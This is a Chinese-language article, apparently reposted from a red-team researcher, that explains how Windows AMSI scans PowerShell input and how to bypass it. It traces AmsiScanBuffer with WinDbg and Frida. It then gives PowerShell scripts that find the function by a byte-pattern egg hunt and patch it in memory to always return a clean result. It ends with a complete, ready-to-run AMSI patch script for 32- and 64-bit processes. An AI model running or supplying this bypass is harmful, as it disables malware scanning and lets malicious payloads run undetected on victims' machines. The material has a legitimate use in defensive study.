内容简介:AMSI的全称是反恶意软件扫描接口(Anti-Malware Scan Interface),是从Windows 10开始引入的一种机制。AMSI是应用程序和服务能够使用的一种接口,程序和服务可以将“数据”发送到安装在系统上的反恶意软件服务(如Windows Defender)。在基于场景的资产评估或者基于数据的红队评估中,许多渗透测试人员都会与AMSI打交道,因此对相关功能也比较了解。AMSI能够提供更强大的保护,可以为反恶意软件产品提供更透彻的可见性,因此能防御攻击过程中常用的一些现代工具、战术以及过程
0x00 前言
AMSI的全称是反恶意软件扫描接口(Anti-Malware Scan Interface),是从Windows 10开始引入的一种机制。AMSI是应用程序和服务能够使用的一种接口,程序和服务可以将“数据”发送到安装在系统上的反恶意软件服务(如Windows Defender)。
在基于场景的资产评估或者基于数据的红队评估中,许多渗透测试人员都会与AMSI打交道,因此对相关功能也比较了解。AMSI能够提供更强大的保护,可以为反恶意软件产品提供更透彻的可见性,因此能防御攻击过程中常用的一些现代 工具 、战术以及过程(TTP)。最相关的操作就是PowerShell无文件payload,在实际环境中,攻击者及渗透测试人员都在使用这种技术来完成任务。
正因为此,AMSI是大家广泛研究的一个主题,能否绕过AMSI已经成为攻击能否成功的决定性因素。在本文中,我们介绍了AMSI的内部工作原理,也介绍了一种新的绕过方法。
在本文中,我们将涉及如下几方面内容:
powershell.exe
0x01 AMSI工作原理
前面提到过,服务和应用程序可以通过AMSI来与系统中已安装的反恶意软件通信。为了完成该任务,AMSI采用了hook方法。比如,AMSI会hook WSH(Windows Scripting Host) 及 PowerShell 来去混淆并分析正在执行的代码内容。这些内容会被“捕获”,并在执行之前发送给反恶意软件解决方案。
在Windows 10上,实现AMSI的所有组件如下所示:
- UAC(用户账户控制),安装EXE、COM、MSI或者ActiveX时提升权限
- PowerShell(脚本、交互式使用以及动态代码执行)
- Windows Script Host(
wscript.exe
或者cscript.exe
) - JavaScript以及VBScript
- Office VBA宏
AMSI 整体架构 如下图所示:
比如,当创建PowerShell进程时,AMSI动态链接库(DLL)会被映射到该进程的虚拟地址空间中(Windows为该进程提供的虚拟地址范围)。DLL是包含导出函数及内部函数的一个模块,可以被其他模块所使用。内部函数只能在DLL中使用,导出函数可以被其他模块使用,也能在DLL内部使用。在这个例子中,PowerShell会使用AMSI DLL的导出函数来扫描用户输入。如果判断这些数据无害,则用户输入数据就会被执行,否则就会阻止执行操作,在日志中记录 1116事件 ( MALWAREPROTECTION_BEHAVIOR_DETECTED
)。
使用PowerShell触发相关事件(ID 1116)时如下所示:
需要注意的是,AMSI不单单可以用来扫描脚本、代码、命令或者cmdlet,也可以用来扫描任何文件、内存或者数据流,如字符串、即时消息、图像或者视频。
0x02 枚举AMSI函数
前文提到过,实现AMSI的应用使用到了AMSI的导出函数,但究竟是哪些函数,具体过程如何?更为重要的是,哪些函数负责检测,可以阻止我们执行“恶意”内容?
这里我们可以使用两种方法来获得导出函数列表。首先,我们可以从 微软官方文档 中找到一个基本的函数列表:
AmsiCloseSession AmsiInitialize AmsiOpenSession AmsiResultsMalware AmsiScanBuffer AmsiScanString AmsiUninitialize
另外我们可以使用 WinDbg 之类的软件来调试AMSI DLL,这些软件可以帮我们完成逆向分析、反汇编以及动态分析任务。这里我们选择将WinDbg attach到正在运行的PowerShell进程,以便分析AMSI。
使用WinDbg时,我们可以列出AMSI导出函数及内部函数,如下图所示。其中 x
命令用来检查 符号 。符号文件是编译程序时创建的文件,程序运行并不需要这些文件,但其中包含调试过程中需要的许多有用信息,比如全局变量、本地变量、函数名及地址等。
知道函数名后,我们依然没有回答最重要的一个问题:哪个(些)函数负责检测行为,用来阻止“恶意”内容?
为了回答这个问题,我们可以使用 Frida 。Frida是一个动态检测工具集,可以用来分析程序内部原理和hook,这意味着该工具可以hook函数,以分析传递给函数或者由函数返回的变量或值。
关于Frida安装和工作原理方面的内容不在本文探讨范围内,如果大家想了解更多信息,可以参考 官方文档 。这里我们只使用了 frida-trace
这款工具。
首先,我们使用 frida-trace
attach到正在运行的PowerShell进程(如下左图),准备hook函数名以“Amsi”开头的所有函数。使用 -P
选项来指定进程ID, -X
选项来指定模块(DLL), -i
选项来指定函数名(或者匹配模式)。
要注意我们需要使用管理员权限来执行 frida-trace
(如下右图)。
现在Frida已经hook了这些函数,我们可以监控在输入简单字符串时,PowerShell会调用哪些函数。如下所示,可知PowerShell会调用 AmsiScanBuffer
以及 AmsiOpenSession
。
frida-trace
是一款功能强大的工具,对于分析的每个函数,都会创建一个对应的JavaScript文件,每个JavaScript文件中包含两个函数: onEnter
以及 onLeave
。
onEnter
函数有3个参数: log
、 args
以及 state
,这三个参数分别用是向用户显示的信息、传递给目标函数的参数列表以及用于内部函数状态管理的一个全局对象。
onLeave
函数有3个参数: log
、 args
以及 state
,分别是向用户显示的信息(与 onEnter
相同)、目标函数的返回值以及用于内部函数状态管理的一个全局对象(与 onEnter
相同)。
比如,Frida为 AmsiScanBuffer
默认生成的JavaScript文件如下所示:
{ onEnter: function (log, args, state) { log('AmsiScanBuffer()'); }, onLeave: function (log, retval, state) { } }
在我们的例子中, AmsiScanBuffer
和 AmsiOpenSession
函数的JavaScript文件都可以根据函数原型进行更新,以便分析相关参数及返回值。函数原型或者函数接口指的是函数的声明,指定了函数名、类型、参数以及参数类型。
AmsiScanBuffer
的 函数原型 如下:
HRESULT AmsiScanBuffer( HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT *result );
AmsiOpenSession
的 函数原型 如下:
HRESULT AmsiOpenSession( HAMSICONTEXT amsiContext, HAMSISESSION *amsiSession );
更新 AmsiScanBuffer
对应的JavaScript文件( __handlers__\amsi.dll\AmsiScanBuffer.js
),如下所示:
{ onEnter: function (log, args, state) { log('[+] AmsiScanBuffer'); log('|- amsiContext: ' + args[0]); log('|- buffer: ' + Memory.readUtf16String(args[1])); log('|- length: ' + args[2]); log('|- contentName: ' + args[3]); log('|- amsiSession: ' + args[4]); log('|- result: ' + args[5] + "n"); }, onLeave: function (log, retval, state) { } }
更新 AmsiOpenSession
对应的JavaScript文件( __handlers__\amsi.dll\AmsiOpenSession.js
),如下所示:
{ onEnter: function (log, args, state) { log('[+] AmsiOpenSession'); log('|- amsiContext: ' + args[0]); log('|- amsiSession: ' + args[1] + "n"); }, onLeave: function (log, retval, state) { } }
更新这些文件后,我们可以更进一步了解哪些参数会被传递给这些函数。如下图所示,用户输入数据会通过 buffer
变量传递给 AmsiScanBuffer
函数:
根据这些分析,我们可以得出结论: AmsiScanBuffer
至少是一个比较重要的函数,与检测机制有关,因此能够阻止“恶意”内容。
0x03 查找函数地址
现在我们已经缩小目标,只针对一个函数: AmsiScanBuffer
。
在Windows系统中, Kernel32
DLL中导出的 LoadLibrary
函数可以用来加载DLL,并将DLL映射到正在运行进程的虚拟地址空间中(VAS),并返回该DLL对应的句柄,以便其他函数使用。如果DLL已经映射到进程的VAS中,那么就只会返回句柄(我们的例子就满足该情况,PowerShell在进程初始化阶段加载AMSI DLL)。
Windows API是一组函数及数据结构,由不同的DLL(如 Kernel32
或者 User32
)对外提供,Windows应用和服务可以使用这些API来执行具体操作(比如创建文件、打开进程或者加载DLL)。
为了获得AMSI DLL的句柄,我们可以执行如下PowerShell脚本:
$Kernel32 = @" using System; using System.Runtime.InteropServices; public class Kernel32 { [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string lpLibFileName); } "@ Add-Type $Kernel32 [IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll") Write-Host "[+] AMSI DLL Handle: $hModule”
Kernel32
DLL中的 GetProcAddress
函数能够帮我们获取指定DLL中的导出函数或者变量的句柄。在这个例子中,我们可以使用这个Windows API来获取AMSI DLL中 AmsiScanBuffer
函数或其他其他导出函数的地址,这也是 Rasta Mouse 之前使用的方法。然而,现在系统会将 AmsiScanBuffer
以及其他字符串当成恶意特征,避免AMSI被篡改。因此,这里我们需要使用另一种方法。
这里我们可以动态查找 AmsiScanBuffer
的地址,而不去使用 GetProcAddress
函数。为了完成该任务,我们仍然需要找到一个地址,作为VAS中的起始查找点。这里有很多导出函数可以使用,特别是函数名中不包含 Amsi
的导出函数,我们选择的是 DllCanUnloadNow
。
我们可以更新前面的PowerShell脚本,在代码中添加对 GetProcAddress
语句,以便获得目标进程VAS中 DllCanUnloadNow
函数的地址。如下所示:
$Kernel32 = @" using System; using System.Runtime.InteropServices; public class Kernel32 { [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string lpLibFileName); } "@ Add-Type $Kernel32 [IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll") Write-Host "[+] AMSI DLL Handle: $hModule” [IntPtr]$dllCanUnloadNowAddress = [Kernel32]::GetProcAddress($hModule, "DllCanUnloadNow") Write-Host "[+] DllCanUnloadNow address: $dllCanUnloadNowAddress"
需要注意的是由于 地址空间布局随机化(ASLR) ,每次系统重启后 DllCanUnloadNow
的地址都会发生变化。对于我们的例子,系统重启前该函数的地址为 140717525833824
。ASLR是一种安全机制,可以随机化VAS中的地址,防止攻击者猜测内存位置。
此外,每次重启系统后,ASLR都会随机化用户空间基址。
0x04 Egg Hunter
我们可以将 DllCanUnloadNow
的地址作为目标进程VAS的入口点,但现在我们如何找到 AmsiScanBuffer
的地址呢?
实际上,我们可以遍历整个VAS。搜索满足特定匹配模式的目标。这种技术可以称之为“ Egg Hunter ”。正常情况下,一个典型的egg hunter需要搜索内存中2个4字节的特殊匹配模式(如 w00tw00t
或者 p4ulp4ul
),但这里我们需要使用24字节,而不是8字节。这24字节就是 AmsiScanBuffer
函数的前24个字节。
我们可以使用WinDbg软件来反汇编 AmsiScanBuffer
函数,以获取该函数对应的指令。需要注意的是, u
选项可以用来反汇编内存中的特定代码,这里即为AMSI DLL中的 AmsiScanBuffer
。
如上图所示,该函数的前24个字节为 0x4C 0x8D 0xDC 0x49 0x89 0x5B 0x08 0x49 0x89 0x6B 0x10 0x49 0x89 0x73 0x18 0x57 0x41 0x56 0x41 0x57 0x48 0x83 0xEC 0x70
。
利用这种技术时,我们要去确保搜索序列的唯一性,否则这种技术会返回“随机”地址,不是我们正在寻找的函数地址。
因此,我们可以更新之前的PowerShell脚本,以便在VAS中搜索这独特的24个字节。
$Kernel32 = @" using System; using System.Runtime.InteropServices; public class Kernel32 { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string lpLibFileName); } "@ Add-Type $Kernel32 Class Hunter { static [IntPtr] FindAddress ([IntPtr]$address, [byte[]]$egg) { while ($true) { [int]$count = 0 while ($true) { [IntPtr]$address = [IntPtr]::Add($address, 1) If ([System.Runtime.InteropServices.Marshal]::ReadByte($address) -eq $egg.Get($count)) { $count++ If ($count -eq $egg.Length) { return [IntPtr]::Subtract($address, $egg.Length - 1) } } Else { break } } } return $address } } Add-Type $Kernel32 [IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll") Write-Host "[+] AMSI DLL Handle: $hModule" [IntPtr]$dllCanUnloadNowAddress = [Kernel32]::GetProcAddress($hModule, "DllCanUnloadNow") Write-Host "[+] DllCanUnloadNow address: $dllCanUnloadNowAddress" [byte[]]$egg = [byte[]] ( 0x4C, 0x8B, 0xDC, # mov r11,rsp 0x49, 0x89, 0x5B, 0x08, # mov qword ptr [r11+8],rbx 0x49, 0x89, 0x6B, 0x10, # mov qword ptr [r11+10h],rbp 0x49, 0x89, 0x73, 0x18, # mov qword ptr [r11+18h],rsi 0x57, # push rdi 0x41, 0x56, # push r14 0x41, 0x57, # push r15 0x48, 0x83, 0xEC, 0x70 # sub rsp,70h ) [IntPtr]$targetedAddress = [Hunter]:: FindAddress($dllCanUnloadNowAddress, $egg) Write-Host "[+] Targeted address $targetedAddress" [string]$bytes = "" [int]$i = 0 while ($i -lt $egg.Length) { [IntPtr]$targetedAddress = [IntPtr]::Add($targetedAddress, $i) $bytes += "0x" + [System.BitConverter]::ToString([System.Runtime.InteropServices.Marshal]::ReadByte($targetedAddress)) + " " $i++ } Write-Host "[+] Bytes: $bytes"
在上述代码中, Hunter
类的 FindAddress
静态方法会通过传参地址来递增搜索VAS中的地址,也就是 DllCanUnloadNow
函数的地址。然后,该方法使用 Marshal
类的 ReadByte
静态方法来获取该地址对应的字节,将其与我们查找的字节序列进行匹配。最后,如果找到匹配序列,代码就会返回函数对应的地址。
如上图所示,我们找到的字节刚好是 AmsiScanbuffer
函数的前24个字节,因此,我们可以使用这种技术成功动态发现 AmsiScanBuffer
。
0x05 Patch
发现函数地址后,下一步就是修改函数指令,避免该函数检测到“恶意”内容。
根据微软官方文档, AmsiScanBuffer
函数应该返回 HRESULT
类型值,这是一个整数值,用来表示操作是否成功。在我们的例子中,如果该函数成功,那么就应当返回 S_OK
( 0x00000000
),否则应该返回 HRESULT
错误代码。
这个函数的主要功能是返回需要扫描的内容是否存在问题,这也是 result
变量会作为参数传递给 AmsiScanBuffer
函数的原因所在。这个变量的类型为 AMSI_RESULT
枚举类型。
对应的枚举原型如下所示:
typedef enum AMSI_RESULT { AMSI_RESULT_CLEAN, AMSI_RESULT_NOT_DETECTED, AMSI_RESULT_BLOCKED_BY_ADMIN_START, AMSI_RESULT_BLOCKED_BY_ADMIN_END, AMSI_RESULT_DETECTED };
在函数执行过程中,待分析的内容会被发送到反恶意软件服务,后者会返回 1
到 32762
(含)之间的一个整数。整数值越大,则代表风险越高。如果证书大于或等于 32762
,那么就会将其判断为恶意数据,加以阻止。随后系统会根据返回的整数值来更新 AMSI_RESULT
变量值。
默认情况下,该变量处于“正常”(“无害”)值状态,因此,如果我们修改了函数指令,使其永远不会将待分析的内容发送给反恶意软件服务,并且返回 S_OK
HRESULT
结果值,那么这些内容就会被当成无害数据。
在汇编语言中, EAX
(32位)以及 RAX
(64位)寄存器始终包含函数的返回值。因此,如果 EAX
/ RAX
寄存器值等于0,并且如果执行了 ret
汇编指令,那么该函数就会返回 S_OK
HRSULT
,不会将待分析数据发送给反恶意软件服务。
为了完成该任务,我们可以使用如下汇编代码:
xor EAX, EAX ret
为了patch AmsiScanBuffer
函数,我们需要将前几个字节修改为 0x31 0xC0 0xC3
(如上汇编指令的十六进制表示)。然而,在执行修改操作之前,待修改的区域必须为可读/可写。否则,任何读取或写入操作都会导致访问冲突异常。为了修改目标内存区域的保护机制,我们可以使用 Kernel32
DLL中的 VirtualProtect
函数。这个导出函数可以修改指定区域的内存保护机制。
如下PowerShell代码片段使用了 VirtualProtect
函数来修改 AmsiScanBuffer
函数的前3字节内存保护。
# PAGE_READWRITE = 0x04 $oldProtectionBuffer = 0 [Kernel32]::VirtualProtect($targetedAddress, [uint32]2, 4, [ref]$oldProtectionBuffer) | Out-Null
然后, Marshal
类的 Copy
静态方法可以用来将指定字节拷贝(覆盖)到指定地址。在这里,我们使用这个静态方法来patch内存。
$patch = [Byte[]] (0x31, 0xC0, 0xC3) # xor eax, eax; ret [System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $targetedAddress, 3)
最后,我们再次使用 VirtualProtect
函数来重新初始化原始的内存保护状态。
$a = 0 [Kernel32]::VirtualProtect($targetedAddress, [uint32]5, $oldProtectionBuffer, [ref]$a) | Out-Null
将这些步骤结合起来后,我们就可以得到完整版的PowerShell脚本,完成如下操作:
DllCanUnloadNow AmsiScanBuffer
完整代码如下:
Write-Host "-- AMSI Patch" Write-Host "-- Paul Laîné (@am0nsec)" Write-Host "" $Kernel32 = @" using System; using System.Runtime.InteropServices; public class Kernel32 { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string lpLibFileName); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); } "@ Add-Type $Kernel32 Class Hunter { static [IntPtr] FindAddress([IntPtr]$address, [byte[]]$egg) { while ($true) { [int]$count = 0 while ($true) { [IntPtr]$address = [IntPtr]::Add($address, 1) If ([System.Runtime.InteropServices.Marshal]::ReadByte($address) -eq $egg.Get($count)) { $count++ If ($count -eq $egg.Length) { return [IntPtr]::Subtract($address, $egg.Length - 1) } } Else { break } } } return $address } } [IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll") Write-Host "[+] AMSI DLL Handle: $hModule" [IntPtr]$dllCanUnloadNowAddress = [Kernel32]::GetProcAddress($hModule, "DllCanUnloadNow") Write-Host "[+] DllCanUnloadNow address: $dllCanUnloadNowAddress" If ([IntPtr]::Size -eq 8) { Write-Host "[+] 64-bits process" [byte[]]$egg = [byte[]] ( 0x4C, 0x8B, 0xDC, # mov r11,rsp 0x49, 0x89, 0x5B, 0x08, # mov qword ptr [r11+8],rbx 0x49, 0x89, 0x6B, 0x10, # mov qword ptr [r11+10h],rbp 0x49, 0x89, 0x73, 0x18, # mov qword ptr [r11+18h],rsi 0x57, # push rdi 0x41, 0x56, # push r14 0x41, 0x57, # push r15 0x48, 0x83, 0xEC, 0x70 # sub rsp,70h ) } Else { Write-Host "[+] 32-bits process" [byte[]]$egg = [byte[]] ( 0x8B, 0xFF, # mov edi,edi 0x55, # push ebp 0x8B, 0xEC, # mov ebp,esp 0x83, 0xEC, 0x18, # sub esp,18h 0x53, # push ebx 0x56 # push esi ) } [IntPtr]$targetedAddress = [Hunter]::FindAddress($dllCanUnloadNowAddress, $egg) Write-Host "[+] Targeted address: $targetedAddress" $oldProtectionBuffer = 0 [Kernel32]::VirtualProtect($targetedAddress, [uint32]2, 4, [ref]$oldProtectionBuffer) | Out-Null $patch = [byte[]] ( 0x31, 0xC0, # xor rax, rax 0xC3 # ret ) [System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $targetedAddress, 3) $a = 0 [Kernel32]::VirtualProtect($targetedAddress, [uint32]2, $oldProtectionBuffer, [ref]$a) | Out-Null
如上图所示,我们成功绕过了AMSI。
0x06 总结
我们在如下Windows版本中对这种技术进行了测试:
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
密码学原理与实践
[加]Douglas R.Stinson / 冯登国 / 电子工业出版社 / 2009年 / 55.00元
冯登国(FENG Dengguo,1965.5~), 现为中国科学院软件所研究员、博士生导师,信息安全国家重点实验室主任,国家计算机网络入侵防范中心主任,国家信息化专家咨询委员会委员。目前主要从事信息与网络安全方面的研究与开发工作。一起来看看 《密码学原理与实践》 这本书的介绍吧!